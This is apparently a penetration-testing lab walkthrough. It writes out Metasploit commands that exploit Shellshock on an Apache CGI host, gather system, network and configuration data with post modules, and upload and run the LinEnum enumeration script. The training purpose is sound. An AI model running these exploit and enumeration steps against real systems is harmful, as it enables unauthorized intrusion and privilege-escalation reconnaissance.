Automating Linux Local Enumeration

Classification: Host & Network Penetration Testing / Post-Exploitation
Target: Linux host (Apache CGI, Shellshock)

1. Executive Summary

We automate Linux post-exploitation enumeration. After a Shellshock foothold (apache_mod_cgi_bash_env_exec), we run the linux/gather/* Metasploit post modules (configs, network, system info — stored in loot), then upload and run the LinEnum script for a comprehensive automated report covering users, jobs, network, services, software and interesting files.

2. Foothold (Shellshock)

db_nmap -sV <target>

Nmap scan

Web content on port 80

The page uses a CGI timer script.

Page source — CGI (1)

CGI script (2)

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set TARGETURI /cgi-bin/<script>.cgi
exploit

Shellshock — Meterpreter session

3. Metasploit Post Modules

run post/linux/gather/enum_configs

enum_configs (1)

enum_configs (2)

run post/linux/gather/enum_network

enum_network

DNS configuration

run post/linux/gather/enum_system

enum_system

4. LinEnum

Moving to a temp directory and uploading the LinEnum script.

cd temp

Uploading LinEnum

chmod +x LinEnum.sh
./LinEnum.sh

Running LinEnum

System

System information

Users & Groups

User/Group information (1)

User/Group information (2)

User/Group information (3)

Environment

Environment (1)

Environment (2)

Jobs / Tasks

Jobs/Tasks (1)

Jobs/Tasks (2)

Jobs/Tasks (3)

Network

Network (1)

Network (2)

Services

Services (1)

Services (2)

Services (3)

Services (4)

Software

Interesting Files

Interesting files (1)

Interesting files (2)

Interesting files (3)

Docker Check

Docker check / finish

5. Notes

LinEnum (and LinPEAS) automate what would otherwise be dozens of manual commands, quickly surfacing privesc paths (SUID files, writable configs, cron jobs). The trade-off is noise — defenders should monitor for script execution and mass enumeration.